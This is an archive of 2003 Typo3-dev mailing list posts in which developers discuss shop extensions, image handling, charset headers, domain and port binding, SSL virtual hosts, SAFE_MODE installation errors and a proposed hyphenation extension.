> are there any people who develop a new/update of the tt_products extension? > Are there any other shop solutions for typo3? I am on a new extension right now but currently I am too lazy to continue. Got special feature requests or interest in helping? -- Want support? Please read the list rules first: http://typo3.org/1438.0.html _______________________________________________ Typo3-dev mailing list Typo3-dev at lists.netfielders.de http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev From peter.russ at 4dfx.de Fri Sep 12 14:41:51 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Fri, 12 Sep 2003 14:41:51 +0200 Subject: AW: [Typo3-dev] tt_products Shop Extension In-Reply-To: References: Message-ID: Jens Weigel schrieb: [...] > > To Peter: yes please publish your proposal > > Greets Jens Any comments welcome. Regs. Peter -------------- next part -------------- A non-text attachment was scrubbed... Name: class.tx_ttproducts.php.zip Type: application/zip Size: 17700 bytes Desc: not available URL: From ms at netfielders.de Fri Sep 12 16:08:28 2003 From: ms at netfielders.de (Mathias Schreiber [netfielders]) Date: Fri, 12 Sep 2003 16:08:28 +0200 Subject: [Typo3-dev] AW: [Typo3-dev] tt_products Shop Extension In-Reply-To: References: Message-ID: Jens Weigel wrote: > - import from oscommerce-products and customers... why not simply implement osCommerce? P.S. please check your mailclient settings and please do not fullquote and please write below the quoted text. in short: respect the rules. -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From j.weigel at cv-dillenburg.de Fri Sep 12 16:41:10 2003 From: j.weigel at cv-dillenburg.de (Jens Weigel) Date: Fri, 12 Sep 2003 16:41:10 +0200 Subject: AW: [Typo3-dev] AW: [Typo3-dev] tt_products Shop Extension In-Reply-To: Message-ID: > why not simply implement osCommerce? hmm.. did you see the code? It isent dived form the design... and the function of odcommerce need to extend also > P.S. please check your mailclient settings and please do not fullquote > and please write below the quoted text. > in short: > respect the rules. ups.. im sorry im new to this all From Martin.T.Kutschker at blackbox.net Mon Sep 15 11:50:58 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Mon, 15 Sep 2003 11:50:58 +0200 (METDST) Subject: [Typo3-dev] reduced footprint of extension manager Message-ID: Hi! I've made a few changes to the extension manager. It's still not working with 8M, but it should be much better now. Is anyone interested in testing/using it? Is it ok to post the on the list as an attachment? Masi From christian at jul.net Mon Sep 15 12:00:30 2003 From: christian at jul.net (Christian Jul Jensen) Date: Mon, 15 Sep 2003 12:00:30 +0200 Subject: [Typo3-dev] reduced footprint of extension manager References: Message-ID: On Mon, 15 Sep 2003 11:50:58 +0200 (METDST) Martin Kutschker wrote: > I've made a few changes to the extension manager. It's still not > working with 8M, but it should be much better now. Great. > Is anyone interested in testing/using it? Is it ok to post the on the > list as an attachment? No, please post a link. -- ./mvh Christian Jul Jensen Freelance webprogramer TYPO3 Typehead Denmark From andreas.gehrke at ndsworld.de Mon Sep 15 12:56:19 2003 From: andreas.gehrke at ndsworld.de (andreas.gehrke) Date: Mon, 15 Sep 2003 12:56:19 +0200 Subject: [Typo3-dev] tt_poll und feadmin im rechten Rand der Seite In-Reply-To: Message-ID: Hallo, ich habe die Frage in ?hnlicher Form vor einiger Zeit schon mal gestellt aber leider ?berhaupt keine Antwort erhalten. Da es aber wichtig ist und ich noch immer nichts brauchbares in den bekannten Quellen gefunden habe, muss ich leider noch mal nerven. Das Problem ist folgendes: Ich m?chte ein Poll auf meiner Seite einf?gen. So wie es ?berall zigfach beschrieben ist funzt das auch schon perfekt. Das Problem ist nur, dass ich die Poll in meinem Fall leider nicht im Contentbereich der Seite anzeigen lassen soll/kann, sondern im rechten Rand der Seite. Dort befindet sich eine Tabelle in der Tabelle in meinem HTML-Template, die vom Autoparser auch richtig geparst wird. Nun habe ich folgendes in das TS-Template der Seite eingef?gt: # Substitute ###poll### subparts.poll =< plugin.tt_poll Dies resultiert darin, dass zwar das Pollformular angezeigt wird, jedoch ohne meinen angelegten Inhalt. D.h. auf der Seite sieht man nun im rechten Rand ein K?stchen mit der ?berschrift Survey, darunter ein Radiobutton ohne Beschriftung und darunter den Button "Vote". Ich hab nun wirklich schon viel ausprobiert. Alles leider total erfolglos! Es kann doch aber kaum sein das ich der Einzige bin, der eine Umfrage nicht mitten auf der Seite sondern eben am Rand haben m?chte und trotzdem keine Frames benutzen will/kann, oder?! Bin auf jeden Fall f?r jeden Tipp sehr Dankbar! Bye Andreas From pn at kreativwert.de Mon Sep 15 14:31:00 2003 From: pn at kreativwert.de (Peter Niederlag) Date: Mon, 15 Sep 2003 14:31:00 +0200 Subject: [Typo3-dev] tt_poll und feadmin im rechten Rand der Seite In-Reply-To: References: Message-ID: since the OP was in german, I reply in german with pointer to ML-guide. Hallo Andreas, "andreas.gehrke" schrieb : > Hallo, > > ich habe die Frage in ?hnlicher Form vor einiger Zeit schon mal > gestellt aber leider ?berhaupt keine Antwort erhalten. Da es aber > wichtig ist und ich noch immer nichts brauchbares in den bekannten > Quellen gefunden habe, muss ich leider noch mal nerven. Bitte antworte, um Deine Frage loszuwerden, nicht einfach auf eine andere Frage. http://typo3.org/1438.0.html, "Hijacking". Bitte stell Deine Frage auf der richtigen Liste. http://typo3.org/1438.0.html,"Correct List". In diesem Fall wohl die deutsche Liste: http://typo3.org/1431.0.html Gru?, PeterN -- Peter Niederlag http://www.ikd01.de * Information Kommunikation Design * http://www.clown-goli.de * Clown-Comedy-Jonglage-Animation * From andreas.gehrke at ndsworld.de Mon Sep 15 16:25:19 2003 From: andreas.gehrke at ndsworld.de (andreas.gehrke) Date: Mon, 15 Sep 2003 16:25:19 +0200 Subject: [Typo3-dev] tt_poll und feadmin im rechten Rand der Seite In-Reply-To: Message-ID: Ooops, shame on me! Sorry, since i have both, the german and the dev-list reciepients in my adressbook i?ve just insered the wrong one! Thank?s for your advice, Peter Bye Andreas -----Original Message----- From: typo3-dev-admin at lists.netfielders.de [mailto:typo3-dev-admin at lists.netfielders.de] On Behalf Of Peter Niederlag Sent: Monday, September 15, 2003 2:31 PM To: typo3-dev at lists.netfielders.de Subject: Re: [Typo3-dev] tt_poll und feadmin im rechten Rand der Seite since the OP was in german, I reply in german with pointer to ML-guide. Hallo Andreas, "andreas.gehrke" schrieb : > Hallo, > > ich habe die Frage in ?hnlicher Form vor einiger Zeit schon mal > gestellt aber leider ?berhaupt keine Antwort erhalten. Da es aber > wichtig ist und ich noch immer nichts brauchbares in den bekannten > Quellen gefunden habe, muss ich leider noch mal nerven. Bitte antworte, um Deine Frage loszuwerden, nicht einfach auf eine andere Frage. http://typo3.org/1438.0.html, "Hijacking". Bitte stell Deine Frage auf der richtigen Liste. http://typo3.org/1438.0.html,"Correct List". In diesem Fall wohl die deutsche Liste: http://typo3.org/1431.0.html Gru?, PeterN -- Peter Niederlag http://www.ikd01.de * Information Kommunikation Design * http://www.clown-goli.de * Clown-Comedy-Jonglage-Animation * _______________________________________________ Typo3-dev mailing list Typo3-dev at lists.netfielders.de http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev From dom at 3ev.com Wed Sep 17 12:16:07 2003 From: dom at 3ev.com (Dominic Stockdale) Date: Wed, 17 Sep 2003 11:16:07 +0100 Subject: [Typo3-dev] $this->cObj->IMAGE without any html in it? Message-ID: Hello, I'm trying to get my plugin to resize images on the fly and output the just the new path to the images and the new file names for a flash movie so I don't want all the stdWrap properties. I thought I could use the code below and strip out the typoscript doing the wrapping etc. I've been looking around for two days now, I'd appreciate any advice clues if anyones got any. cheers, Dom $theImages = explode(",",$this->internal["currentRow"][$fN]); $firstImagecObj = $this->conf['firstImagecObj.']; $firstImagecObj['file'] = 'uploads/tx_domswf/'.$theImages[0]; $firstImage = $this->cObj->IMAGE($firstImagecObj); From jh at netfielders.de Wed Sep 17 19:18:08 2003 From: jh at netfielders.de (Jan-Hendrik Heuing [netfielders]) Date: Wed, 17 Sep 2003 19:18:08 +0200 Subject: [Typo3-dev] $this->cObj->IMAGE without any html in it? References: Message-ID: Today I've been looking for something like that and didn't get it to work immediatly. That is why I just set up some PHP which does the job... I am quite sure there is a "nice" way, and maybe I'll remember after having a break ;) 10 = USER 10.userFunc = user_image->image 10.cObj = IMAGE 10.cObj.file = PHP: $temp = $this->cObj->cObjGetSingle($conf["cObj"],$conf["cObj."]); Now you've got the image tag in $temp, which you can explode or regex or whatever to get the path... jh "Dominic Stockdale" schrieb im Newsbeitrag news:mailman.1063793782.2155.typo3-dev at lists.netfielders.de... > Hello, > > I'm trying to get my plugin to resize images on the fly and output the > just the new path to the images and the new file names for a flash movie > so I don't want all the stdWrap properties. > > I thought I could use the code below and strip out the typoscript doing > the wrapping etc. I've been looking around for two days now, I'd > appreciate any advice clues if anyones got any. > > cheers, > > Dom > > $theImages = explode(",",$this->internal["currentRow"][$fN]); > > $firstImagecObj = $this->conf['firstImagecObj.']; > $firstImagecObj['file'] = 'uploads/tx_domswf/'.$theImages[0]; > > $firstImage = $this->cObj->IMAGE($firstImagecObj); > From dom at 3ev.com Thu Sep 18 08:46:56 2003 From: dom at 3ev.com (Dominic Stockdale) Date: Thu, 18 Sep 2003 07:46:56 +0100 Subject: [Typo3-dev] $this->cObj->IMAGE without any html in it? In-Reply-To: References: Message-ID: Jan-Hendrik Heuing [netfielders] wrote: > Today I've been looking for something like that and didn't get it to work > immediatly. That is why I just set up some PHP which does the job... > > I am quite sure there is a "nice" way, and maybe I'll remember after having > a break ;) > > 10 = USER > 10.userFunc = user_image->image > 10.cObj = IMAGE > 10.cObj.file = > > PHP: > $temp = $this->cObj->cObjGetSingle($conf["cObj"],$conf["cObj."]); > > Now you've got the image tag in $temp, which you can explode or regex or > whatever to get the path... > > jh Thanks Jan. I've got it working with some very messy expressions, I can't help thinking that there must be a cleaner way. I looked at using IMG_RESOURCE in the typoscript but it doesn't seem to offer any sizing. Anyway as it all works now I'll come back and clean it up later. Cheers, Dom From rl at robertlemke.de Thu Sep 18 11:24:59 2003 From: rl at robertlemke.de (Robert Lemke) Date: Thu, 18 Sep 2003 11:24:59 +0200 Subject: [Typo3-dev] Character set inquery References: Message-ID: Hi Andreas, Andreas Otto wrote: > I have prepared three small HTML pages: > > > > > The webserver sends the header ISO-8859-1 as is default with Apache > 1.3. > > But regardless what the webserver's charset setting is the Meta Tag > takes precedence. According to your quote this should not happen. In my case that's not true!! See the following screenshot taken from mozilla retrieving your example pages: http://typo3.robertlemke.de/list/charset-test-mozilla-ignores-meta-charset-definition.png Mozilla DOES recognize your meta tag and states "Content-Type: text/html; charset=us-ascii". However, it uses ISO-8859-15 for encoding as you can see a few lines above. That's weird. I will do some more investigation on that issue, if anyone finds some ressources, please post them! -- robert From hoang at planb-media.de Thu Sep 18 15:10:54 2003 From: hoang at planb-media.de (Chi Hoang) Date: Thu, 18 Sep 2003 15:10:54 +0200 Subject: [Typo3-dev] atag_to_http Message-ID: Why cant I debug this function: user_plaintext::atag_to_http ( $ content, $ conf ) Definition at line 123 of file plaintextLib.inc? I need this to remove the "(Link: ...)" text in plaintext Newsletter send by direct mail. When I place a debug () call in this function I got no output! Help! Greets, Chi From daniel at typo3.com Fri Sep 19 00:01:19 2003 From: daniel at typo3.com (Daniel Hinderink [TYPO3]) Date: Fri, 19 Sep 2003 00:01:19 +0200 Subject: [Typo3-dev] DBAL and Project Management Ext Message-ID: Hi Devs, Two more project descriptions were released just now. The DBAL-project is decribed by Andreas Otto (Thanks!) and addresses the compatibility issues with others RDBMS's than MySQL. http://typo3.org/1476.0.html The Project Manager is an extension development aiming at many different application fields providing sophisticated Gantt-functionality. http://typo3.org/1475.0.html Hope you will be interested and looking forward to sponsors and interested developers alike. Many more interesting projects will be described soon. If you have a project to propose in this line, let me know. Cheers, Daniel -- TYPO3 - get.content.right Daniel Hinderink Marketing, Press Relations, Strategy http://www.typo3.com From hoang at planb-media.de Fri Sep 19 17:53:23 2003 From: hoang at planb-media.de (Chi Hoang) Date: Fri, 19 Sep 2003 17:53:23 +0200 Subject: [Typo3-dev] atag_to_http References: Message-ID: > Chi wrote: > Why cant I debug this function: > > user_plaintext::atag_to_http ( $ content, > $ conf > ) > Definition at line 123 of file plaintextLib.inc? > I need this to remove the "(Link: ...)" text in plaintext Newsletter > send by direct mail. When I place a debug () call in this function I > got no output! Help! I did it! Problem was that the name of the class is user_plaintext and the filename(!) is plaintextLib.inc. Before I wrote a class like this: class ux_user_plaintext extends user_plaintext { blablabla } and saved it as ux_plaintextLib.inc(!). Now all extension works fine as long as typo 3 dont use user_plaintext->atag_to_http to call a function. Why that? Because callUserFunction() looks in localconf.php if there is a function with prepended "tx_", now I did registered with ux_plaintextLib.inc and therefore my new class atag_to_http is not called by user_plaintext->atag_to_http! It is still strange to me why my other functions still work with the wrong filename (ux_plaintextLib.inc). Maybe this is something Kaspar has to informed to, to me it seems not straight forward! What do you think? Thanks to all, Greetings, Chi P.S.: Here is a very, very nice class hierarchy http://typo3doku.ueckermann.de/. It helps me a lot! From Martin.T.Kutschker at blackbox.net Mon Sep 22 10:51:46 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Mon, 22 Sep 2003 10:51:46 +0200 (METDST) Subject: [Typo3-dev] Domains and ports Message-ID: Hi! Is there any particular reason why I cannot bind a page tree to a domain containig a (non-standard) port? We're currently developing on a system, which will use separate domains. But for now we don't have the DNS setup and we're using ports to simulate them. I have modified t3lib_pageSelect::getDomainStartPage(), which is btw in a file called class.t3lib_page.php, not to strip the domain from the domain. This works fine so far. Will this be enough? Is T3 prepared to deal with ports? The current hack isn't very clever because you *have+ to use a port, but I could change it to strip only port 80 - and port 443 for SSL. Can SSL be detected simply across all SSL engines and servers? Masi From Martin.T.Kutschker at blackbox.net Mon Sep 22 11:04:02 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Mon, 22 Sep 2003 11:04:02 +0200 (METDST) Subject: [Typo3-dev] future of fe_adminLib.inc Message-ID: Hi! Has this lib any future? Personally I am more interested in a TCA-based FE form lib (as discussed on the list before), but time constraints made me hack at the lib. The main goal was to provide the ability to change an uploaded file. What I always added was support for 'external' show values for preview, meant for radio buttons. Right now it is a hack and I won't support it, but I'm willing to share. So if anyone is interested. Masi From mundaun at gmx.ch Mon Sep 22 11:20:42 2003 From: mundaun at gmx.ch (Michael Stucki) Date: Mon, 22 Sep 2003 11:20:42 +0200 Subject: [Typo3-dev] Domains and ports References: Message-ID: Martin Kutschker wrote: > Is there any particular reason why I cannot bind a page tree to a domain > containig a (non-standard) port? We're currently developing on a system, > which will use separate domains. But for now we don't have the DNS setup > and we're using ports to simulate them. Why don't you use a local hosts file? - michael -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From leening at saurus.nl Mon Sep 22 12:23:47 2003 From: leening at saurus.nl (Michiel van Leening) Date: Mon, 22 Sep 2003 12:23:47 +0200 Subject: [Typo3-dev] Domains and ports In-Reply-To: References: Message-ID: On Mon, 2003-09-22 at 10:51, Martin Kutschker wrote: > Hi! > > Is there any particular reason why I cannot bind a page tree to a domain containig a (non-standard) port? We're currently developing on a system, which will use separate domains. But for now we don't have the DNS setup and we're using ports to simulate them. > > I have modified t3lib_pageSelect::getDomainStartPage(), which is btw in a file called class.t3lib_page.php, not to strip the domain from the domain. This works fine so far. Will this be enough? Is T3 prepared to deal with ports? > > The current hack isn't very clever because you *have+ to use a port, but I could change it to strip only port 80 - and port 443 for SSL. Can SSL be detected simply across all SSL engines and servers? If you're hacking away with SSL, please keep in mind that two SSL sites can never be run on the same IP. So a NameVirtualHost (apache) doesn't work with SSL. Just my 2c :-) -- Met vriendelijke groeten, Michiel van Leening --------------------------------------------------------------- Saurus Internet - http://www.saurus.nl/ - info at saurus.nl Vestesingel 8, 9408 CA - Assen, The Netherlands tel: +31 (0)592.461.467 - fax: +31 (0)84.86.88.007 Michiel van Leening - Internet Application Developer leening at saurus.nl - gsm: +31 (0)65.57.12.693 - ICQ#51566230 Registered with the Linux Counter. ID #39463 --------------------------------------------------------------- Who loves me will also love my dog. -- John Donne From christian at jul.net Mon Sep 22 15:20:23 2003 From: christian at jul.net (Christian Jul Jensen) Date: Mon, 22 Sep 2003 15:20:23 +0200 Subject: [Typo3-dev] future of fe_adminLib.inc References: Message-ID: Hi Masi On Mon, 22 Sep 2003 11:04:02 +0200 (METDST), Martin Kutschker wrote: > Has this lib any future? Personally I am more interested in a > TCA-based FE form lib (as discussed on the list before), but time > constraints made me hack at the lib. The main goal was to provide the > ability to change an uploaded file. What I always added was support > for 'external' show values for preview, meant for radio buttons. I had the same frustrations, and that's why I created the feEdit extension. It's not finished, and not documented, but works well for the parts implemented, unfortunately file upload is not one of them. The feAdmin lib has a lot of nice features, but is hard to use. So there's a need for a new approach to that. I already had a some initial discussions about that on this list and what wil happen is this: Robert Lemke and I will do an RFC on the subject some time this fall. That will probably lead to a finishing of the feEdit or a totally new extension combining the best of the two approaches. > Right now it is a hack and I won't support it, but I'm willing to > share. So if anyone is interested. Any thoughts and feature requests for the upcoming solution will be welcomed. -- Christian Jul Jensen Freelance webprogrammer TYPO3 typehead Denmark From trent at myolife.net Tue Sep 23 07:14:52 2003 From: trent at myolife.net (Trent-MYOLife) Date: Mon, 22 Sep 2003 22:14:52 -0700 Subject: [Typo3-dev] more than 10 check boxes Message-ID: Hi All I'm trying to extend and build extensions and want to have more than 10 categories as a check-box field in the database. I've hit the doco in "Backend Programming" and it says 10 is the max. How do I make more? Is this a limitation of TYPO3 or mySQL? I can't believe I have to create 4 fields of 10 to have 35 categories. And what will such a structure mean to coders of the front-end? I only need to nail this and I'm sold on TYPO3. I keep reading it can do anything but find this somewhat limiting. Please help. Best Regards Trent Adamson Prod Site: www.MYOLife.net Dev Site: myol.tenstream.net Pilot Site: www.alphalink.com.au/~trentj/ ICE Webbing Solutions & Super Grouping eRooms +61 404 159 100 -------------- next part -------------- An HTML attachment was scrubbed... URL: From peter.russ at 4dfx.de Mon Sep 22 14:58:56 2003 From: peter.russ at 4dfx.de (Peter Russ :: 4Dfx) Date: Mon, 22 Sep 2003 14:58:56 +0200 Subject: [Typo3-dev] Domains and ports In-Reply-To: References: Message-ID: Michiel van Leening schrieb: [...] > > If you're hacking away with SSL, please keep in mind that two SSL sites > can never be run on the same IP. So a NameVirtualHost (apache) doesn't > work with SSL. > > Just my 2c :-) Refering to http://www.modssl.org/docs/2.7/ssl_faq.html you're right. But there might be some work arounds ;) http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&oe=UTF-8&threadm=a41dpi%241blepf%241%40ID-41014.news.dfncis.de&rnum=1&prev=/groups%3Fas_q%3DNameVirtualHost%2520ssl%2520geht%2520das%26ie%3DUTF-8%26oe%3DUTF-8%26lr%3D%26num%3D100%26hl%3Dde Sorry but I found only a German source, but configuation is Apache. Regs. Peter. www.ebconclub.net From leening at saurus.nl Mon Sep 22 16:09:00 2003 From: leening at saurus.nl (Michiel van Leening) Date: Mon, 22 Sep 2003 16:09:00 +0200 Subject: [Typo3-dev] Domains and ports In-Reply-To: References: Message-ID: On Mon, 2003-09-22 at 14:58, Peter Russ :: 4Dfx wrote: > Michiel van Leening schrieb: > [...] > > > > If you're hacking away with SSL, please keep in mind that two SSL sites > > can never be run on the same IP. So a NameVirtualHost (apache) doesn't > > work with SSL. > > > > Just my 2c :-) > > Refering to http://www.modssl.org/docs/2.7/ssl_faq.html you're right. > But there might be some work arounds ;) > http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&oe=UTF-8&threadm=a41dpi%241blepf%241%40ID-41014.news.dfncis.de&rnum=1&prev=/groups%3Fas_q%3DNameVirtualHost%2520ssl%2520geht%2520das%26ie%3DUTF-8%26oe%3DUTF-8%26lr%3D%26num%3D100%26hl%3Dde > > Sorry but I found only a German source, but configuation is Apache. I'm dutch, so german is no problem :-) Even though it appears to work, it's not a real solution in a production environment, since upgrading apache might break your setup. Thx for the info. I'll also try it myself. -- Met vriendelijke groeten, Michiel van Leening --------------------------------------------------------------- Saurus Internet - http://www.saurus.nl/ - info at saurus.nl Vestesingel 8, 9408 CA - Assen, The Netherlands tel: +31 (0)592.461.467 - fax: +31 (0)84.86.88.007 Michiel van Leening - Internet Application Developer leening at saurus.nl - gsm: +31 (0)65.57.12.693 - ICQ#51566230 Registered with the Linux Counter. ID #39463 --------------------------------------------------------------- Laugh and the world laughs with you, snore and you sleep alone. From cedric at intolerage.com Mon Sep 22 19:09:24 2003 From: cedric at intolerage.com (=?ISO-8859-1?Q?C=E9dric Moulard?=) Date: Mon, 22 Sep 2003 18:9:24 +0100 Subject: [Typo3-dev] Installing extension whith SAFE_MODE Message-ID: Hi, When i'm trying to install an extension with the manager i've got an error due to SAFE_MODE. So i tryed to install manually the extension an i placed all the file in correct folder but but the extension manager don't show it. Is there a procedure to install manually an extension or a possibility to use the manager with SAFE_MODE? thanks C?dric From peter.russ at 4dfx.de Mon Sep 22 18:25:29 2003 From: peter.russ at 4dfx.de (Peter Russ :: 4Dfx) Date: Mon, 22 Sep 2003 18:25:29 +0200 Subject: [Typo3-dev] Domains and ports In-Reply-To: References: Message-ID: Michiel van Leening schrieb: [...] > > Even though it appears to work, it's not a real solution in a production > environment, since upgrading apache might break your setup. [...] Upgrading Apache to which version? 2.x and php ;) but nver for production as this state you mentioned :) Regs. Peter. www.4dfx.de From Martin.T.Kutschker at blackbox.net Mon Sep 22 18:50:05 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Mon, 22 Sep 2003 18:50:05 +0200 (METDST) Subject: [Typo3-dev] simulateStatic, Apache and Rewrite Rules in VirtualHosts Message-ID: Hi! I tried the setup mentioned in subject.It seems that two things happen with this kind of setup. one) The rule has to be tweaked a bit: RewriteRule ^/[^/]*\.html$ /index.php Mind the additional / at the beginning. two) REDIRECT_URL doesn't seem to be set with this setup. This means that checkAlternativeIdMethods() will fail. Can anyone verify my observation and answer the following question: Is this setup just not recommended/supported or is it a bug? Masi From niederlag at ikd01.de Mon Sep 22 19:21:43 2003 From: niederlag at ikd01.de (Peter Niederlag) Date: Mon, 22 Sep 2003 19:21:43 +0200 Subject: [Typo3-dev] two different configs for SPC Message-ID: Hi, I need two different types of spacer-pages. For one the title should be shown in the menu but not linked . For the other one it shouldn`t be shown at all but just some HTML-inserted for a space/empty row in the menu. Any advice on how to do that best way? I am thinking about either configuring a new doktype or about using the layout-field for the Spacer type of page. Cheers, PeterN -- Peter Niederlag http://www.ikd01.de * Information Kommunikation Design * http://www.clown-goli.de * Clown-Comedy-Jonglage-Animation * From Martin.T.Kutschker at blackbox.net Mon Sep 22 20:23:01 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Mon, 22 Sep 2003 20:23:01 +0200 (METDST) Subject: [Typo3-dev] Re: Domains and ports Message-ID: Michael Stucki wrote > > Martin Kutschker wrote: > > > Is there any particular reason why I cannot bind a page tree to a > > domain containig a (non-standard) port? We're currently developing > > on a system, which will use separate domains. But for now we don't > > have the DNS setup and we're using ports to simulate them. > > Why don't you use a local hosts file? It didn't occur to me :-) But yes I could. OTOH I'd have to use a proxy as well. And to configure the browsers to use it. Such a hassle ;-) I rather hack at the sources. Nah, seriously. What are the issues, how can they be resolved and is there any chance for inclusion in 2.6? Masi From Martin.T.Kutschker at blackbox.net Mon Sep 22 20:29:12 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Mon, 22 Sep 2003 20:29:12 +0200 (METDST) Subject: [Typo3-dev] Re: Domains and ports Message-ID: Michiel van Leening yleening at saurus.nl> wrote On Mon, 2003-09-22 at 10:51, Martin Kutschker wrote: > > > The current hack isn't very clever because you *have+ to use a port, > > but I could change it to strip only port 80 - and port 443 for SSL. > > Can SSL be detected simply across all SSL engines and servers? > > If you're hacking away with SSL, please keep in mind that two SSL sites > can never be run on the same IP. So a NameVirtualHost (apache) doesn't > work with SSL. Hmm, I mentioned SSL only for the sake of completness and because it uses a different "standard port". Perhaps it is save to ignore SSL a such and just strip ports 80 and 443 from the domain without regard to the protocaol actually in use. Of course the docs/help texts for the domai records shoub be changed to reflect the slightly changed behaviour, ie. don't use ports in domain records unless it's different from 80 or 443. Masi From rl at robertlemke.de Tue Sep 23 00:49:19 2003 From: rl at robertlemke.de (Robert Lemke) Date: Tue, 23 Sep 2003 00:49:19 +0200 Subject: [Typo3-dev] Installing extension whith SAFE_MODE References: Message-ID: Hi C?dric, C?dric Moulard wrote: > When i'm trying to install an extension with the manager i've got an > error due to SAFE_MODE. Which error actually? Can you provide the exact message together with the name of the extension you installed? > So i tryed to install manually the extension an i placed all the file > in correct folder but but the extension manager don't show it. It should at least be shown in the "available for installing" section, did you check file permissions? If you upload files manually, apache might not have the correct permissions (depending on the config of the server) > Is there a procedure to install manually an extension or a > possibility to use the manager with SAFE_MODE? Generally there is no reason for installing extensions manually. It should work in SAFE_MODE too. -- robert From cedric at intolerage.com Tue Sep 23 11:01:23 2003 From: cedric at intolerage.com (=?ISO-8859-1?Q?C=E9dric Moulard?=) Date: Tue, 23 Sep 2003 10:1:23 +0100 Subject: [Typo3-dev] Re:Re: Installing extension whith SAFE_MODE Message-ID: Hi, i tried to install the template auto-parser, the exact message is: Warning: is_dir() [function.is-dir]: SAFE MODE Restriction in effect. The script whose uid is 842 is not allowed to access /home/opt3/local/apache/htdocs/sites/i/intolerage.com/typo3conf/ext/automaketemplate owned by uid 2420 in /home/opt3/local/apache/htdocs/sites/i/intolerage.com/typo3/mod/tools/em/index.php on line 1677 Error: The directory '/opt3/local/apache/htdocs/sites/i/intolerage.com/typo3conf/ext/automaketemplate/pi1/' could not be created... When i uploaded files on the server i did not shown the extension in the "available for installing" section. I modified localconf.php too(i have added the extension in list). I think i have correct permission. Cedric >From: "Robert Lemke" >Subject: Re: [Typo3-dev] Installing extension whith SAFE_MODE >Date: Tue, 23 Sep 2003 00:49:19 +0200 >To: typo3-dev at lists.netfielders.de >Reply-To: typo3-dev at lists.netfielders.de > >Hi C?dric, > >C?dric Moulard wrote: >> When i'm trying to install an extension with the manager i've got an >> error due to SAFE_MODE. > >Which error actually? Can you provide the exact message together with the >name of the extension you installed? > >> So i tryed to install manually the extension an i placed all the file >> in correct folder but but the extension manager don't show it. > >It should at least be shown in the "available for installing" section, did >you check file permissions? If you upload files manually, apache might >not have the correct permissions (depending on the config of the server) > >> Is there a procedure to install manually an extension or a >> possibility to use the manager with SAFE_MODE? > >Generally there is no reason for installing extensions manually. It should >work >in SAFE_MODE too. > >-- >robert > From sb at stefanbook.de Tue Sep 23 10:06:00 2003 From: sb at stefanbook.de (Stefan Book) Date: Tue, 23 Sep 2003 10:06:00 +0200 Subject: [Typo3-dev] Installing extension whith SAFE_MODE In-Reply-To: References: Message-ID: At 00:49 23.09.2003, Robert Lemke wrote: >Generally there is no reason for installing extensions manually. It should >work in SAFE_MODE too. Not necessarily, a couple of months ago I also had problems installing extensions with safe_mode enabled. The problem was that the mkdir() statements creating the extension directories specified those directories with a trailing slash, which caused the following error: Warning: Unable to access /shared/www/www.xxxxxx.de-443/htdocs/typo3conf/ext/test_quikum/ in /shared/typo3/typo3_src-3.5b5/typo3/mod/tools/em/index.php on line 1767 It seems mkdir() doesn't like trailing slashes in safe_mode (Debian 3.0, PHP 4.1.2). I removed them by some minor changes of the source and now it works fine for me both with safe_mode on and off. Kasper knows about this and my guess is this problem will be gone with the next release. Of course I don't know if this is the cause for the original poster's problem though, might also be a permission/owner issue :) -- Regards, Stefan From sb at stefanbook.de Tue Sep 23 10:22:55 2003 From: sb at stefanbook.de (Stefan Book) Date: Tue, 23 Sep 2003 10:22:55 +0200 Subject: [Typo3-dev] Re:Re: Installing extension whith SAFE_MODE In-Reply-To: References: Message-ID: At 11:01 23.09.2003, C?dric Moulard wrote: >Warning: is_dir() [function.is-dir]: SAFE MODE Restriction in effect. The >script whose uid is 842 is not allowed to access >/home/opt3/local/apache/htdocs/sites/i/intolerage.com/typo3conf/ext/automaketemplate >owned by uid 2420 in >/home/opt3/local/apache/htdocs/sites/i/intolerage.com/typo3/mod/tools/em/index.php >on line 1677 > Error: The directory > '/opt3/local/apache/htdocs/sites/i/intolerage.com/typo3conf/ext/automaketemplate/pi1/' > could not be created... A rough guess: It looks like the Typo3 sources are owned by uid 842 (probably your ftp- or shell-account). Typo3 manages to create the first extension directory (automaketemplate) which is naturally owned by your webserver uid (2420). Then it tries to create the pi1 directory which fails because safe_mode checks whether the data a PHP script is trying to access (i.e. the automaketemplate-directory) is owned by the same uid which owns the script itself. Since the Typo3 source is uid 842 and the newly created directory is uid 2420, this check fails and access is denied. Without having thought too long about it, I guess if you don't have root access to that server, a solution for this problem will be difficult (if possible at all). A manual installation might be a workaround, but someone else would have to post about how to do that. I'm not that much into extension management :) -- Regards, Stefan From mail at schmidt-net.via.t-online.de Tue Sep 23 12:55:54 2003 From: mail at schmidt-net.via.t-online.de (Hannes Schmidt) Date: Tue, 23 Sep 2003 12:55:54 +0200 Subject: [Typo3-dev] Hyphenation Extension Message-ID: Hi, I am thinking about creating a Typo3 extension that automatically hyphenates (word-breaks) textual content objects using ­ entities. I found the very neat TeX::Hyphen Perl module, which uses TeX-style hyphenation dictionaries for the various languages and is capable of normal as well as German and Czech hyphenation rules. The downside is that it is sort of slow. Another difficulty is that the various browsers handle the soft hyphen ­ in different ways. IE on Windows implements the soft-hyphen correctly. Most other browsers Mozilla, Eudora, Netscape ignore it for word-breaking but do not display it either, which is acceptable. IE on Mac and Safari on Mac display it (IE shows it as a accented letter, Safari as a dash) and do not use it for word-breaking. This is not acceptable. Now, my idea is to create a backend extension providing an additional transformation for the RTE. That would cure the performance problem, since content is much less often edited by the backend than it is diplayed by the frontend. On the frontend, there should be a user-agent-specific flter which either transparently passes the ­ entities through or removes them. Do you think this approach is sensible? If yes, two more questions arise: 1) Is there an easy way to install a content filter in the frontent? 2) Can RTE transformations be chained; that is, can more than one transformation be active at the same time? If no, would it be difficult to implement a RTE transformation chain? 